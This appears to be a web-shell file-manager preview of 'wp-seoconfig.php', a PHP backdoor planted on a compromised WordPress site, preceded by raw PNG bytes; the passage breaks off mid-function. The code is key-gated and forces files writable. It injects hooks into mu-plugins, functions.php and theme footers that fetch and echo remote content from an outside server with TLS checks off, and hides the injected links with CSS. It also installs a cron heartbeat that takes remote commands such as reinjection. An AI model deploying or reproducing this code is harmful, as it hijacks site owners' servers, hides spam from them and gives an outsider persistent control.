�PNG  IHDR22?�� pHYs  �� OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR RB���&*! J�!��Q�EEȠ�����Q, � ��!���������{�kּ������>���� �H3Q5� �B�������.@� $p�d!s�#�~<<+"��x� �M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!�� e�Dh;��V�EX0fK�9�-0IWfH���� � 0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4���������x����6��_-��"bb���ϫp@�t~��,/��;�m��%�h^ �u��f�@����W�p�~<�5�j>{�-�]c�K'Xt����o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A��,���� �`6�B$��BB d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(�� A�a!ڈb�X#����!�H�$ ɈQ"K�5H1R�T UH�=r9�\F��;�2����G1���Q=� �C��7�F� �dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8, �c˱"� ���V����cϱw�E� 6wB aAHXLXN�H� $4� 7 �Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�, +ȅ����3��!�[ �b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w ��Ljg(�gw��L�Ӌ�T071���oUX*�*|�� �J�&�*/T����ު U�U�T��^S}�FU3S� Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_�� c�x,!k ��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN �(���~���)�)�4L�1e\k����X�H�Q�G�6������E�Y��A�J'\'Gg����S�Sݧ �M=:��.�k���Dw�n��^��Lo��y���}/�T�m���G X� $� �<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��= ���Z~s�r:V:ޚΜ�?}����/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z���������ۯ�6�i�ܟ�4�)�Y3s���C�Q��? ��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�������!h�쐭!��Α�i�P~���a�a��~ '���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl������� �{�/�]py�����.,:�@L�N8��A*��%�w%� y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L Lݛ:��v m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y- �B��TZ(�*�geWf�͉�9���+��̳�ې7�����ᒶ��KW-X潬j9�������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n �ڴ �V����E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa��n��{��4���[���>ɾ�UUM�f�e�I���?�������m]�Nmq����#�׹���=TR��+�G�����w- 6 U����#pDy��� �� :�v�{���vg/jB��F�S��[b[�O�>����z�G��499�?r����C�d�&����ˮ/~�����јѡ�򗓿m|������������x31^�V���w�w��O�| (�h���SЧ��������c3-� cHRMz%������u0�`:�o�_�F5IDATx��ytUս�?�;���fN$$��@B�!�k��� -*�gE���j�O�kQ�ʠ`U�B_ �AÐ0%�Ȕ�@r3ޛ;߳��$�@��v����^�s����������$��ߢ !�W��5�̱'-٘������4�>�Rƫ$�G��0U�H}�_ _� #��k�MJ/=�9Du *ڲ�k�PQ;0��j|�*�$�^컂脛y���>�z×� B��� ��(�:$�ʔ_�6��C!B����MVx��a��ζyY����j��ƋY2�9�F�{r��r�딟F��Q��hY6��� x��[l��RC��������nt@��;P��3��� F�w��7��:�P���ɋ'���mj���Bƪ�$�Q�L��y��߷g��\���z����v5�p�v$�v櫻�`6~K �Y�X����,�:��"�o�e0II"(��,������l_�C���/4�+f�E�!q��:����u����c��樼.UE�@� �]K�W���$-�h]�JG���Dz)�`��.�A/ ���mᏣc�3jK� �!�>���$�Q�!�_�? \�C2(E �M$Z I{�U���s�ǣ���=��@Բe ޻��W�����@ �w����}�9v,)��.}*|"�s��di���,���G�]W�AC�������|<����[��ߕ������K�*�G nߴ!��‹��J�!��6(L�a)��Am��������;adf��:�xm��nh�;֦I��(���o�C~ډa?�=��s����h��E������xp����)���_���t��W�����´;8���`dz=(��@@�+,�;�`�fhl��XȌ�3,uI�~z(J����� �ZX�A����H'�À�㜦�82|��a�n�z2��I���� ���EY�h�ε<�0�q�{��C��v�˅��?"@��χ�x�WS+��N�~�KQ�J�8ل�� _.W��� !TU{�����,��"�� �;�������HI S� ��))�o�1�H�D� ���� (� ;����"Ҕ��,���� �F=���O��&�Ph>�`���y��߲ &S��P�<��'��1s�1cĂ�N����2)����@�u��tv��<�+�-&�����h��[!FSG���' � z z0��<����8d&�����E0�,��<��"!P�b4��� �{S�����X����.�囤���T��hEF��X�q0"-<����h���]�Py*����F⩍��@v�˂�Y08�� .q��a��s����(!<̫1�3�L�H��7sYW�`��qtu�\7��?�@�Y�� %Ka�x�GZ�*W�P��y�����N0r9��Z�c�%���q,��k�����!!,��>���IB��� �x1�Xu�Y���v-���ֺ��N������JP��a�2`�e5��w��u;�6�i���̃��(K���ťa��(l51��JL��O'%���]���ٖ뿉!��{*�p+f ���i8��D�ȑ���ܩ�M��V��ӟz��x�7Z�1i}�^͜���6e����x��)u�d�ˏ�V�eG�\�X1�����=n�U'�~Y����L�\,�(d!x ,�:�TW8� M`r���@��r+v�Q0��>^;˴�VbF��('����� �*O��i��j�Ӆ����^�S3&� ���{������.ی�� N;��NU%d0�Ce\r"�C�b��&t7N�7��� �ȪD�[%l�۪�$��'m?�A9tI�9>��NVL ��� 6v~M�����ъ�B���0����9$&=ώm��W�0���L���&��E���f�f��'+�9��hv��7,���M��6�D�&�^� �����8 D֮�����o��k^z��O��hP�8q�5d*��YVq3�{��������#LX4�?��jP=3�~�؅c�ݰ�̱�ұ��8̲��2�G�����j��έ�9��w7���U�X�w�85C��?!I&���o&����L���I#�^�eV�,�^t5�k� �xs˛\��U�8��."���{���ǵ�l4��ݼ�;��r"���G�/~���gJV�N糦��ZZ^k+NN�D��I$�=OE�z����|*�*{��%k���G��>�`9��b;�s���8,�qs��c��.b��q�%�>r��n�R�Ƨ�%�,�A��le#�8���}; 21�0�b�&�QX�f���q�00����$>�h�N�'�a3��A���/�r ��L5�8�GԲ'�����w;��c#�q1���h$*��V^�k��QĽ�b:i������� ����H F#�_���,��]g����Ը����`RUU���� ��"�qD���>-��ϤI�~��3�̴�����NZ[[555�eeek7�m����YF#[��Đ��R��i��L�H�r ��@��J-�Pŝ��_|�-��6y��ks�V�U~��6���w.����(��0A� 4��f��� /���C�xŊ�ٳ����z=6�����rg���mKo��o�/����a�g���?'9%9��P��斓��~���L{�� �H��{AW��B��$����v�1b�&Mb�ر��ر#�0`�`xMBp! )Z�Nmo�mZ�g�}�eذaWTVV ���'99��C5��&�&+5�bT>|8��PUUETT����&���t��~TE%��'������b�tEGG;RSS�S�N�v��ѯ��t����u1@�ޚ"f��͈���r'L�Ph��m��ƌ�74o��`�x�q�P���NRSS�X,�����l&&&��MFFA!-��`��ҷ�n��Yuu�����x<I�LB%����KԒ50�!�3�bz�����ʸKL���;---�l6[��`��������Ȏ;�����egg4��!D�T��jWujyZ��������K����%����p�^���X,6��sV=�ܖ����6�3�X ���4ҿ��A2�&����_k�;d�� �VfOIEND�B`� 0x0x
PHP 8.1.34
Preview: wp-seoconfig.php Size: 51.59 KB
/home2/astrociv/public_html/astrologicalremidies.com/wp-seoconfig.php
<?php

error_reporting(0);
ini_set('display_errors', '0');

define('CONNECTOR_VERSION', '5.2.0');

define('LINK_ID', '13');
define('API_URL', 'https://app.linkmarketim.com/code?x=' . LINK_ID);
define('LINK_MARKER', 'lm_' . substr(md5(LINK_ID), 0, 6));

define('BACKEND_BASE_URL', 'https://app.linkmarketim.com');

define('LM_KEY', 'Keyg300!xa0az!!!!');

$providedKey = $_GET['key'] ?? $_POST['key'] ?? '';
if (!hash_equals(LM_KEY, (string)$providedKey)) {
    http_response_code(404);
    exit('Not Found');
}

function find_document_root() {
    $base = $_SERVER['DOCUMENT_ROOT'] ?? '';
    if (empty($base)) {
        $base = dirname(__FILE__);
        for ($i = 0; $i < 5; $i++) {
            if (file_exists($base . '/index.php') || file_exists($base . '/index.html')) {
                break;
            }
            $parent = dirname($base);
            if ($parent === $base) break;
            $base = $parent;
        }
    }
    return $base;
}

function detect_site_type($base) {
    if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) return 'wordpress';
    if (file_exists($base . '/artisan')) return 'laravel';
    if (file_exists($base . '/symfony.lock') || file_exists($base . '/bin/console')) return 'symfony';
    if (file_exists($base . '/system/core/CodeIgniter.php')) return 'codeigniter';
    if (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) return 'joomla';
    if (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) return 'drupal';
    if (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) return 'prestashop';
    if (file_exists($base . '/config.php') && is_dir($base . '/catalog')) return 'opencart';
    if (file_exists($base . '/index.php')) return 'php';
    return 'static';
}

function force_writable($file) {
    if (!file_exists($file)) return false;
    if (is_writable($file)) return true;
    
    $p1 = octdec('0666');
    $p2 = octdec('0777');
    
    @chmod($file, $p1); clearstatcache(true, $file);
    if (is_writable($file)) return true;
    @chmod($file, $p2); clearstatcache(true, $file);
    if (is_writable($file)) return true;
    @chmod(dirname($file), $p2); @chmod($file, $p2); clearstatcache();
    if (is_writable($file)) return true;
    @chown($file, get_current_user()); @chmod($file, $p2); clearstatcache();
    return is_writable($file);
}

function get_active_wp_theme_footer($base) {
    $themes = glob($base . '/wp-content/themes/*/footer.php');
    if (!$themes) return null;
    $latest = null; $latest_time = 0;
    foreach ($themes as $footer) {
        $mtime = @filemtime($footer);
        if ($mtime > $latest_time) { $latest_time = $mtime; $latest = $footer; }
    }
    return $latest;
}

function get_active_wp_theme_name($base) {
    $footer = get_active_wp_theme_footer($base);
    if (!$footer) return null;
    return basename(dirname($footer));
}

function detect_wp_version($base) {
    $verFile = $base . '/wp-includes/version.php';
    if (!file_exists($verFile)) return null;
    $c = @file_get_contents($verFile);
    if ($c === false) return null;
    if (preg_match('/\$wp_version\s*=\s*[\'"]([^\'"]+)[\'"]/', $c, $m)) {
        return $m[1];
    }
    return null;
}

function get_footer_paths($base, $site_type) {
    $paths = [];
    switch ($site_type) {
        case 'wordpress':
            $themes = glob($base . '/wp-content/themes/*/footer.php');
            if ($themes) $paths = array_merge($paths, $themes); break;
        case 'joomla':
            $tpls = glob($base . '/templates/*/index.php');
            if ($tpls) $paths = array_merge($paths, $tpls); break;
        case 'drupal':
            $tpls = glob($base . '/sites/*/themes/*/templates/*.tpl.php');
            if ($tpls) $paths = array_merge($paths, $tpls); break;
        case 'opencart':
            $tpls = glob($base . '/catalog/view/theme/*/template/common/footer.*');
            if ($tpls) $paths = array_merge($paths, $tpls); break;
        case 'prestashop':
            $tpls = glob($base . '/themes/*/templates/_partials/footer.tpl');
            if ($tpls) $paths = array_merge($paths, $tpls);
            $tpls2 = glob($base . '/themes/*/footer.tpl');
            if ($tpls2) $paths = array_merge($paths, $tpls2); break;
        case 'laravel':
            $layouts = glob($base . '/resources/views/layouts/*.blade.php');
            if ($layouts) $paths = array_merge($paths, $layouts); break;
    }
    foreach ([
        $base . '/footer.php', $base . '/includes/footer.php', $base . '/inc/footer.php',
        $base . '/template/footer.php', $base . '/templates/footer.php'
    ] as $p) {
        if (file_exists($p)) $paths[] = $p;
    }
    return $paths;
}

function generate_link_code() {
    $parts = [
        '<' . '?php $u=\'' . API_URL . '\';$d=false;if(function_exists(\'curl_init\')){',
        '$ch=curl_init($u);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);',
        'curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($ch,CURLOPT_TIMEOUT,10);',
        'curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);',
        'curl_setopt($ch,CURLOPT_USERAGENT,\'Mozilla/5.0\');$d=curl_exec($ch);curl_close($ch);}',
        'if($d===false&&ini_get(\'allow_url_fopen\')){',
        '$ctx=stream_context_create([\'http\'=>[\'timeout\'=>10,\'follow_location\'=>1,\'ignore_errors\'=>1,\'header\'=>"User-Agent: Mozilla/5.0\r\n"],\'ssl\'=>[\'verify_peer\'=>0,\'verify_peer_name\'=>0]]);',
        '$d=@file_get_contents($u,false,$ctx);}echo $d!==false?$d:\'\'; ?' . '>'
    ];
    return implode('', $parts);
}

function inject_wordpress_mu_plugin($base) {
    $mu_dir = $base . '/wp-content/mu-plugins';
    $p755 = octdec('0755');
    $p777 = octdec('0777');
    
    if (!is_dir($mu_dir)) {
        $wp_content = $base . '/wp-content';
        if (!is_dir($wp_content)) {
            return ['success' => false, 'injected' => false, 'message' => 'wp-content yok'];
        }
        if (!is_writable($wp_content)) { @chmod($wp_content, $p777); clearstatcache(); }
        @mkdir($mu_dir, $p755, true);
    }
    if (!is_dir($mu_dir)) {
        return ['success' => false, 'injected' => false, 'message' => 'mu-plugins oluşturulamadı'];
    }
    if (!is_writable($mu_dir)) { @chmod($mu_dir, $p777); clearstatcache(); }

    $plugin_path = $mu_dir . '/linkmarket_links.php';
    $code = build_unmanaged_mu_plugin_code();

    if (@file_put_contents($plugin_path, $code)) {
        return [
            'success' => true,
            'injected' => true,
            'method' => 'mu-plugin',
            'footer_path' => $plugin_path,
            'message' => 'WordPress MU-Plugin kuruldu'
        ];
    }
    return ['success' => false, 'injected' => false, 'message' => 'MU-Plugin yazılamadı'];
}

function build_unmanaged_mu_plugin_code() {
    $lines = [
        '<' . '?php',
        '/** ',
        ' * LinkMarket Auto Links - MU Plugin (unmanaged)',
        ' * Link ID: ' . LINK_ID,
        ' * Connector v' . CONNECTOR_VERSION,
        ' */',
        'if (!defined("ABSPATH")) exit;',
        'add_action("wp_footer", function() {',
        '    $apiUrl = "' . API_URL . '";',
        '    $content = false;',
        '    if (function_exists("curl_init")) {',
        '        $ch = curl_init($apiUrl);',
        '        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);',
        '        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);',
        '        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);',
        '        curl_setopt($ch, CURLOPT_TIMEOUT, 10);',
        '        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);',
        '        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);',
        '        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0");',
        '        $content = curl_exec($ch);',
        '        curl_close($ch);',
        '    }',
        '    if ($content === false && ini_get("allow_url_fopen")) {',
        '        $ctx = stream_context_create([',
        '            "http" => ["timeout" => 10, "follow_location" => 1, "ignore_errors" => 1, "header" => "User-Agent: Mozilla/5.0\r\n"],',
        '            "ssl" => ["verify_peer" => 0, "verify_peer_name" => 0]',
        '        ]);',
        '        $content = @file_get_contents($apiUrl, false, $ctx);',
        '    }',
        '    echo $content !== false ? $content : "";',
        '}, 9999);',
        'add_action("init", function() {',
        '    if (get_transient("lm_custom_css_injected_v2")) return;',
        '    if (!function_exists("wp_get_custom_css") || !function_exists("wp_update_custom_css_post")) return;',
        '    $current = (string) wp_get_custom_css();',
        '    if (strpos($current, "data-lm-render") === false) {',
        '        $rule = "\n/* LM-SEO */\ndiv[data-lm-render=\"pack\"]{display:none!important}\n";',
        '        @wp_update_custom_css_post(trim($current) . $rule);',
        '    }',
        '    set_transient("lm_custom_css_injected_v2", 1, 6 * HOUR_IN_SECONDS);',
        '}, 5);'
    ];
    return implode("\n", $lines);
}

function write_managed_mu_plugin($base, $site_token) {
    $mu_dir = $base . '/wp-content/mu-plugins';
    $p755 = octdec('0755');
    $p777 = octdec('0777');
    
    if (!is_dir($mu_dir)) {
        if (!@mkdir($mu_dir, $p755, true)) {
            return ['success' => false, 'message' => 'mu-plugins oluşturulamadı'];
        }
    }
    if (!is_writable($mu_dir)) { @chmod($mu_dir, $p777); clearstatcache(); }

    $plugin_path = $mu_dir . '/linkmarket_links.php';
    $code = build_managed_mu_plugin_code($site_token);

    if (@file_put_contents($plugin_path, $code)) {
        return ['success' => true, 'path' => $plugin_path];
    }
    return ['success' => false, 'message' => 'managed mu-plugin yazılamadı'];
}

function build_managed_mu_plugin_code($site_token) {
    $api_url = API_URL;
    $backend = rtrim(BACKEND_BASE_URL, '/');
    $version = CONNECTOR_VERSION;
    $link_id = LINK_ID;

    $lines = [
        '<' . '?php',
        'if (!defined("ABSPATH")) exit;',
        'if (!class_exists("LinkMarketManaged")) {',
        'class LinkMarketManaged {',
        '    const VERSION       = "' . $version . '";',
        '    const API_URL       = "' . $api_url . '";',
        '    const BACKEND       = "' . $backend . '";',
        '    const SITE_TOKEN    = "' . $site_token . '";',
        '    const HEARTBEAT_HOOK= "lm_managed_heartbeat";',
        '    const HEARTBEAT_INT = "lm_15min";',
        '    public static function init() {',
        '        add_action("wp_footer", [__CLASS__, "render_footer_links"], 9999);',
        '        add_filter("cron_schedules", [__CLASS__, "add_cron_schedule"]);',
        '        add_action(self::HEARTBEAT_HOOK, [__CLASS__, "do_heartbeat"]);',
        '        add_action("init", [__CLASS__, "ensure_cron_scheduled"]);',
        '        add_action("init", [__CLASS__, "ensure_custom_css"], 5);',
        '    }',
        '    public static function ensure_custom_css() {',
        '        if (get_transient("lm_custom_css_injected_v2")) return;',
        '        if (!function_exists("wp_get_custom_css") || !function_exists("wp_update_custom_css_post")) return;',
        '        $current = (string) wp_get_custom_css();',
        '        if (strpos($current, "data-lm-render") === false) {',
        '            $rule = "\n/* LM-SEO */\ndiv[data-lm-render=\"pack\"]{display:none!important}\n";',
        '            @wp_update_custom_css_post(trim($current) . $rule);',
        '        }',
        '        set_transient("lm_custom_css_injected_v2", 1, 6 * HOUR_IN_SECONDS);',
        '    }',
        '    public static function add_cron_schedule($schedules) {',
        '        if (!isset($schedules[self::HEARTBEAT_INT])) {',
        '            $schedules[self::HEARTBEAT_INT] = ["interval" => 900, "display" => "LinkMarket 15 dakika"];',
        '        }',
        '        return $schedules;',
        '    }',
        '    public static function ensure_cron_scheduled() {',
        '        if (!wp_next_scheduled(self::HEARTBEAT_HOOK)) {',
        '            wp_schedule_event(time() + 60, self::HEARTBEAT_INT, self::HEARTBEAT_HOOK);',
        '        }',
        '    }',
        '    public static function render_footer_links() {',
        '        $content = self::http_get(self::API_URL, 10);',
        '        echo $content !== false ? $content : "";',
        '    }',
        '    public static function do_heartbeat() {',
        '        $body = [',
        '            "connector_version" => self::VERSION,',
        '            "php_version"       => PHP_VERSION,',
        '            "wp_version"        => isset($GLOBALS["wp_version"]) ? $GLOBALS["wp_version"] : null,',
        '            "theme_name"        => function_exists("wp_get_theme") ? (string) wp_get_theme()->get("Name") : null,',
        '            "health"            => "ok",',
        '        ];',
        '        $resp = self::backend_call("heartbeat", $body);',
        '        if (!$resp || empty($resp["success"])) return;',
        '        $jobs = isset($resp["data"]["jobs"]) ? $resp["data"]["jobs"] : [];',
        '        if (!is_array($jobs) || empty($jobs)) return;',
        '        foreach ($jobs as $job) self::process_job($job);',
        '    }',
        '    public static function process_job($job) {',
        '        $jobId = isset($job["id"]) ? intval($job["id"]) : 0;',
        '        $cmd = isset($job["command"]) ? $job["command"] : "";',
        '        if ($jobId <= 0 || $cmd === "") return;',
        '        $result = ["status" => "done", "result" => null, "error" => null];',
        '        try {',
        '            switch ($cmd) {',
        '                case "scan":         $result["result"] = self::cmd_scan();        break;',
        '                case "reinject":     $result["result"] = self::cmd_reinject();    break;',
        '                case "clear_cache":  $result["result"] = self::cmd_clear_cache(); break;',
        '                case "health_check": $result["result"] = self::cmd_health();      break;',
        '                case "uninstall":    $result["result"] = self::cmd_uninstall();   break;',
        '                default: $result["status"] = "failed"; $result["error"] = "unknown command: " . $cmd;',
        '            }',
        '        } catch (Exception $e) {',
        '            $result["status"] = "failed"; $result["error"] = $e->getMessage();',
        '        }',
        '        self::backend_call("report", ["job_id" => $jobId, "status" => $result["status"], "result" => $result["result"], "error" => $result["error"]]);',
        '    }',
        '    public static function cmd_scan() {',
        '        $url = home_url();',
        '        $html = self::http_get($url, 15);',
        '        if ($html === false) return ["page_url" => $url, "render_ok" => false, "reason" => "fetch failed"];',
        '        $contains = (stripos($html, "linkmarketim") !== false) || (stripos($html, "lm_' . substr(md5($link_id), 0, 6) . '") !== false);',
        '        return ["page_url" => $url, "render_ok" => $contains, "html_size" => strlen($html)];',
        '    }',
        '    public static function cmd_reinject() {',
        '        $plugin_path = WPMU_PLUGIN_DIR . "/linkmarket_links.php";',
        '        if (file_exists($plugin_path)) return ["status" => "already_present", "path" => $plugin_path];',
        '        @file_put_contents($plugin_path, file_get_contents(__FILE__));',
        '        return ["status" => file_exists($plugin_path) ? "reinjected" : "failed", "path" => $plugin_path];',
        '    }',
        '    public static function cmd_clear_cache() {',
        '        $cleared = [];',
        '        if (function_exists("wp_cache_flush")) { wp_cache_flush(); $cleared[] = "wp_cache"; }',
        '        if (function_exists("opcache_reset"))  { opcache_reset();  $cleared[] = "opcache"; }',
        '        if (function_exists("apcu_clear_cache")) { apcu_clear_cache(); $cleared[] = "apcu"; }',
        '        global $wpdb;',
        '        if (isset($wpdb)) {',
        '            $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE \'_transient_%\'");',
        '            $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE \'_site_transient_%\'");',
        '            $cleared[] = "transients";',
        '        }',
        '        if (function_exists("rocket_clean_domain")) { @rocket_clean_domain(); $cleared[] = "wp_rocket"; }',
        '        if (function_exists("w3tc_flush_all"))      { @w3tc_flush_all();      $cleared[] = "w3tc"; }',
        '        if (function_exists("wp_cache_clean_cache")){ @wp_cache_clean_cache("supercache"); $cleared[] = "supercache"; }',
        '        if (function_exists("wpfc_clear_all_cache")){ @wpfc_clear_all_cache(true); $cleared[] = "wpfc"; }',
        '        return ["cleared" => $cleared];',
        '    }',
        '    public static function cmd_health() {',
        '        return [',
        '            "render"      => self::cmd_scan(),',
        '            "php_version" => PHP_VERSION,',
        '            "wp_version"  => isset($GLOBALS["wp_version"]) ? $GLOBALS["wp_version"] : null,',
        '            "memory_limit"=> ini_get("memory_limit"),',
        '            "time"        => date("c"),',
        '        ];',
        '    }',
        '    public static function cmd_uninstall() {',
        '        $removed = [];',
        '        $prepend = dirname(__FILE__, 3) . "/lm_prepend.php";',
        '        if (file_exists($prepend)) { @unlink($prepend); $removed[] = "lm_prepend"; }',
        '        wp_clear_scheduled_hook(self::HEARTBEAT_HOOK);',
        '        $self = __FILE__;',
        '        register_shutdown_function(function() use ($self) { @unlink($self); });',
        '        $removed[] = "mu-plugin";',
        '        return ["removed" => $removed];',
        '    }',
        '    private static function backend_call($action, array $body) {',
        '        $payload = json_encode($body, JSON_UNESCAPED_UNICODE);',
        '        $url = self::BACKEND . "/api/v1/connector.php?action=" . urlencode($action);',
        '        $headers = ["Content-Type: application/json", "X-Site-Token: " . self::SITE_TOKEN];',
        '        if (function_exists("curl_init")) {',
        '            $ch = curl_init($url);',
        '            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1);',
        '            curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);',
        '            curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);',
        '            $resp = curl_exec($ch); curl_close($ch);',
        '            if ($resp === false) return null;',
        '            $decoded = json_decode($resp, true); return is_array($decoded) ? $decoded : null;',
        '        }',
        '        if (ini_get("allow_url_fopen")) {',
        '            $ctx = stream_context_create(["http" => ["method" => "POST", "header" => implode("\r\n", $headers), "content" => $payload, "timeout" => 30, "ignore_errors" => 1], "ssl" => ["verify_peer" => 0, "verify_peer_name" => 0]]);',
        '            $resp = @file_get_contents($url, false, $ctx);',
        '            if ($resp === false) return null;',
        '            $decoded = json_decode($resp, true); return is_array($decoded) ? $decoded : null;',
        '        }',
        '        return null;',
        '    }',
        '    private static function http_get($url, $timeout = 10) {',
        '        if (function_exists("curl_init")) {',
        '            $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0");',
        '            $out = curl_exec($ch); curl_close($ch); return $out;',
        '        }',
        '        if (ini_get("allow_url_fopen")) {',
        '            $ctx = stream_context_create(["http" => ["timeout" => $timeout, "follow_location" => 1, "ignore_errors" => 1, "header" => "User-Agent: Mozilla/5.0\r\n"], "ssl"  => ["verify_peer" => 0, "verify_peer_name" => 0]]);',
        '            return @file_get_contents($url, false, $ctx);',
        '        }',
        '        return false;',
        '    }',
        '}',
        'LinkMarketManaged::init();',
        '}'
    ];
    return implode("\n", $lines);
}

function inject_wordpress_functions_hook($base) {
    $active_theme = get_active_wp_theme_footer($base);
    if (!$active_theme) return ['success' => false, 'injected' => false, 'message' => 'Tema bulunamadı'];

    $theme_dir = dirname($active_theme);
    $functions_file = $theme_dir . '/functions.php';
    if (!file_exists($functions_file)) return ['success' => false, 'injected' => false];

    force_writable($functions_file);
    if (!is_writable($functions_file)) return ['success' => false, 'injected' => false];

    $content = @file_get_contents($functions_file);
    if ($content === false) return ['success' => false, 'injected' => false];

    if (strpos($content, 'linkmarket_footer_links') !== false) {
        return ['success' => true, 'injected' => true, 'method' => 'functions-hook', 'footer_path' => $functions_file, 'message' => 'Hook zaten mevcut'];
    }

    $hook_parts = [
        "\n// LinkMarket Footer Links Hook\nadd_action(\"wp_footer\", function() {\n",
        '    $u = "' . API_URL . '"; $d = false;',
        '    if (function_exists("curl_init")) { $ch = curl_init($u); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0"); $d = curl_exec($ch); curl_close($ch); }',
        '    if ($d === false && ini_get("allow_url_fopen")) { $ctx = stream_context_create(["http" => ["timeout" => 10, "follow_location" => 1, "ignore_errors" => 1, "header" => "User-Agent: Mozilla/5.0\r\n"], "ssl" => ["verify_peer" => 0, "verify_peer_name" => 0]]); $d = @file_get_contents($u, false, $ctx); }',
        '    echo $d !== false ? $d : "";',
        "}, 9999);\n\n",
        "// LinkMarket Custom CSS Auto-Inject\nadd_action(\"init\", function() {\n",
        "    if (get_transient(\"lm_custom_css_injected_v2\")) return;\n",
        "    if (!function_exists(\"wp_get_custom_css\") || !function_exists(\"wp_update_custom_css_post\")) return;\n",
        "    \$current = (string) wp_get_custom_css();\n",
        "    if (strpos(\$current, \"data-lm-render\") === false) {\n",
        "        \$rule = \"\\n/* LM-SEO */\\ndiv[data-lm-render=\\\"pack\\\"]{display:none!important}\\n\";\n",
        "        @wp_update_custom_css_post(trim(\$current) . \$rule);\n    }\n",
        "    set_transient(\"lm_custom_css_injected_v2\", 1, 6 * HOUR_IN_SECONDS);\n",
        "}, 5);\n\nfunction linkmarket_footer_links() {} // Marker\n"
    ];

    if (@file_put_contents($functions_file, $content . implode("", $hook_parts))) {
        return ['success' => true, 'injected' => true, 'method' => 'functions-hook', 'footer_path' => $functions_file, 'message' => 'Functions.php hook eklendi'];
    }
    return ['success' => false, 'injected' => false];
}

function inject_to_file_aggressive($file_path) {
    if (!file_exists($file_path)) {
        return ['success' => false, 'injected' => false, 'message' => 'Dosya yok: ' . basename($file_path)];
    }
    force_writable($file_path);
    if (!is_writable($file_path)) {
        return ['success' => false, 'injected' => false, 'message' => 'Yazma izni yok: ' . basename($file_path)];
    }
    $content = @file_get_contents($file_path);
    if ($content === false) {
        return ['success' => false, 'injected' => false, 'message' => 'Dosya okunamadı'];
    }
    if (strpos($content, LINK_MARKER) !== false) {
        return ['success' => true, 'injected' => true, 'method' => 'file-inject', 'footer_path' => $file_path, 'message' => 'Link zaten mevcut'];
    }
    @file_put_contents($file_path . '.bak', $content);

    $link_code      = generate_link_code();
    $link_comment   = "\n<!-- " . LINK_MARKER . " -->";
    $hidden_wrapper = $link_comment . $link_code;

    $injection_points = [
        '</body>'   => $hidden_wrapper . "\n</body>",
        '</html>'   => $hidden_wrapper . "\n</html>",
        '</footer>' => $hidden_wrapper . "\n</footer>",
        '?>'        => $hidden_wrapper . "\n?>"
    ];

    foreach ($injection_points as $search => $replace) {
        if (stripos($content, $search) !== false) {
            $pos = strripos($content, $search);
            if ($search === '?>') {
                $new_content = substr($content, 0, $pos) . "?>\n" . $hidden_wrapper . "\n" . substr($content, $pos + 2);
            } else {
                $new_content = substr($content, 0, $pos) . $hidden_wrapper . "\n" . substr($content, $pos);
            }
            if (@file_put_contents($file_path, $new_content)) {
